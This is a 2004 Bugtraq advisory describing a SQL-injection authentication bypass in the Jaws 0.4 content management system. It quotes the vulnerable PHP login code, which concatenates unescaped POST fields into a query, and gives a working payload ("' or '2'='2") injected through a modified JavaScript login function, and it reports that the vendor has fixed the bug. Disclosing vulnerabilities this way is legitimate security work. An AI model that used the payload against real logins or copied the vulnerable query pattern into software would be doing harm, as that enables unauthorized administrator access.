bugtraq - Jaws 0.4: authentication bypass

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 29 Jul 2004 20:49:43 +0700 (ICT)
From: Rubén Molina <ruben@...a.edu.co>
To: bugtraq@...urityfocus.com
Subject: Jaws 0.4: authentication bypass


/////////////////////////////////////////////////////


////		Vulnerable Program: JAWS
////
////		Version : 0.4
////
//// 		Url: http://www.jaws.com.mx
////
//// 		The Bug: SQL injection to allows bypass the auth.
////
//// 		Date: Today, July 28 off 2004
////
//// 		Author: Fernando Quintero (a.k.a nonroot)
////       	 Email: nando@...a.edu.co


//////////////////////////////////////////////////////


I. Affected software description:

 Jaws is a Framework and Content Management System for building dynamic
web sites.
 It aims to be User Friendly giving ease of use and lots of ways to
customize web sites,
 but at the same time is Developer Frendly, it offers a simple and
powerful framework to hack
 your own modules. Jaws is Free Software under the GPL.


II. Bug:

A vulnerability exists in jaws 0.4 that allows that anyone to get in the
control panel with administrator rights without a password.
The bug exist in the query when the system tries to authenticate the user,
there anyone can inject sql code.
This is not so important if there exists the "magic_quotes = ON" option in
the php.ini.
But what if jaws disable it by itself?
All can understand that a possible attack by SQL would be successful and
the the vulnerable serious system
All the people can understand that the sql injection is carry out
succesfully and the system would be vulnerable.

The lines in game are :

In the main config file of jaws we can see:

//config.php
...
// We don't like magic_quotes ;-)
no_magic_quotes();
...
//end

The function no_magic_quotes() disable indeed the  magic_quotes in the
system for jaws, allowing to open to a possible attack of SQL injection.

Now the vulnerable code:

//controlpanel.php line : 107 o por ahi cerca.

1 function login()
2        {
3                if(empty($_POST["crypted_password"]))
4                        $sqllogin = "select id, email, name, username 
from jaws_user where username = '".$_POST["user"]."' and password =
'".md5($_POST["password"])$
5                else{
6                        $sqllogin = "select id, email, name, username 
from jaws_user where username = '".$_POST["user"]."' and password =
'strtolower(".$_POST["crypted_passwor$
7        }
8                $rs = $GLOBALS["app"]->db->query($sqllogin);
9                if ($row = $rs->fetch_row())
10                {
11                       $session_id = rand();
12                        setcookie
("logged",md5($session_id),time()+(3600*12));
13                        setcookie
("username",$row["username"],time()+(3600*12));
14                        $_SESSION["logged"] = $session_id;
15                        $_SESSION["userid"] = $row["id"];
16                        header("Location: admin.php");
17                } else {
18                        return $this->login_form("Bad login");
19                }
20        }

In [3] the state of the "crypted_password" variable is checked, in [6]
it's executed using the content of variables without
a correct validation.

This allows to inject some code  through the variables and and to manage
to be validated in the system.

a possible way to exploit it should be:

Modifying the javascript function in the Login.html file to:

<script type="text/javascript">

function crypt_form(form) {
   var new_password = calcMD5(form.password.value);
   form.crypted_password.value = "' or '2'='2";
   form.password.value = "";
   return true;
}
</script>

The java script function always will return crypted_password= ' OR '2'='2
when the form is loaded we can introduce any user and any password and be
validated in the system ;)

The reason for this is that query always will seem thus

select id, email, name, username  from jaws_user where username =
'any-spanish-word;)' and password = '' or '2'='2'

Where '2'='2' always will be true, and any user will be validated.

We can also see from [3] it´s possible inject sql code trought "user" or
"password" variables.


III. SOLUTION:

The coders where contacted and the code was fixed in the cvs ;).
and they published information about the bug in their home page.


IV. GREETINGS

    - Greets All the community. I learn of you!
    - Silence Team and the GIGAX Staff.


V. CONTACT

Fernando Quintero
nando@...ax.org
Silence Team


VI. FINAL WORDS

 - I know it´s a simple bug, but it can be instructive

 - Sorry by the english, so  !! Viva COLOMBIA !!